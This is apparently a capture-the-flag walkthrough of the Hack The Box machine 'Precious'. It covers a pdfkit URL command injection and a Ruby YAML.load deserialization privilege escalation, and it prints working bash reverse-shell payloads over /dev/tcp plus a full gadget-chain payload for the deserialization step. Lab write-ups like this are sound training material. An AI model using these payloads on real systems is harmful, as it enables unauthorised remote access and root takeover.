
Information Gathering:
We will start off our box with an nmap scan, looking for any open ports and services. After connecting to HTB via OpenVPN we fire off a scan.

You can see we have ports 80 and 22 open, which is pretty standard. It also shows a redirect to http://precious.htb on port 80. Let’s go ahead and add that to our /etc/hosts.


After visiting the website we are presented with a Convert Web Page to PDF web page. I ran some directory busters, looked inside the page source, fuzzed for subdomains and still couldn’t find anything.

After trying to load a website, I got a “Cannot load remote URL!” error. This was a giveaway that the application will only accept local files. Let’s start a python web server and feed it a random html file.

I downloaded the html from gtfobins and started a python3 web server on port 80. Now on the web page to PDF converter, input your kali IP address, but take note we are on a tun0 connection.

It should either prompt you to save the file, or it will automatically open the PDF in a new tab. If it does, just download the PDF document. Note: If your web server shows a 302, but you are still getting a “Cannot load remote URL!” error, try a different html file.

Next, I wanted to check the properties of the PDF file to see if anything stands out. We see at the bottom there is a creator and the document was generated with pdfkit v0.8.6, which is interesting.

After a few quick Google searches, I found that there is a command injection vulnerability in versions <0.8.7 where the URL is not properly sanitized. We can take advantage of this.
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Start Burp Suite and intercept the same PDF download web request from the gtfo.html file. CTRL+R to send to the repeater. Since we’re dealing with a URL, this should be easy to redirect.

For proof of concept we are going to ping our kali box, instead of sending a reverse shell right away. This should ensure proper connectivity from the victim’s IP, back to our Kali machine, ensuring there is indeed a URL sanatization vulnerability.

To do this, start a tcpdump on our network adapter. Since we are on a VPN connection, we will use tun0 instead of eth0.

url=http://example.com/?name=#{'%20`ping -c 1 10.10.14.92`'}
You should see the ping request come through via tcpdump. Now we are ready to get a reverse shell.
Foothold:

Now instead of a ping command, we are going to trigger a bash reverse shell.
url=http://example.com/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.92/4444 0>&1"`'} 
The ping command allowed us to execute the command without URL encoding, however it is necessary to URL encode this command. You can do this by selecting the content and hitting CTRL+U on the keyboard. Before hitting send, make sure you have set up a netcat listener on port 4444.

After doing so, we have spawned a reverse shell as the user ruby.

After moving to the home directory, I noticed another user henry.

After looking in ruby’s home directory, there is a .bundle directory with a config file inside with henry’s credentials.

We can now SSH into Henry!

Privilege Escalation:

Using the command sudo -l will check to see if I’m allowed to run anything as root. Good news, looks like I can run a ruby file in the /opt directory. Let’s checkout /opt.

After viewing the contents of the update_dependencies.rb file, I noticed it’s using YAML.load in order to load the file dependencies.yml. After some googling, I found out YAML.load is vulnerable to a deserialization attack.
In order to get root, we will have to craft a payload within the dependencies.yml


Running the command from the /opt folder returns an error because the dependencies.yml file is located in /home/henry

Change back into henry’s home directory, and touch dependencies.yml. Edit the file using nano, and paste in the reverse shell, changing the IP address to your kali box and port to 8888.

---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/reverseshell.stratumsecurity.com/443 0>&1'"
method_id: :resolveNow set up a netcat listener on port 8888 and run the command again.



Summary
HTB: Precious
This was overall a straight forward, but fun machine. It was vulnerable to a command injection via URL data not being properly santized, as well as a YAML deserialization vulnerability. I really enjoyed this one and hope you learned something from this write-up! Check out the rest of my write-ups, and as always, happy hacking!

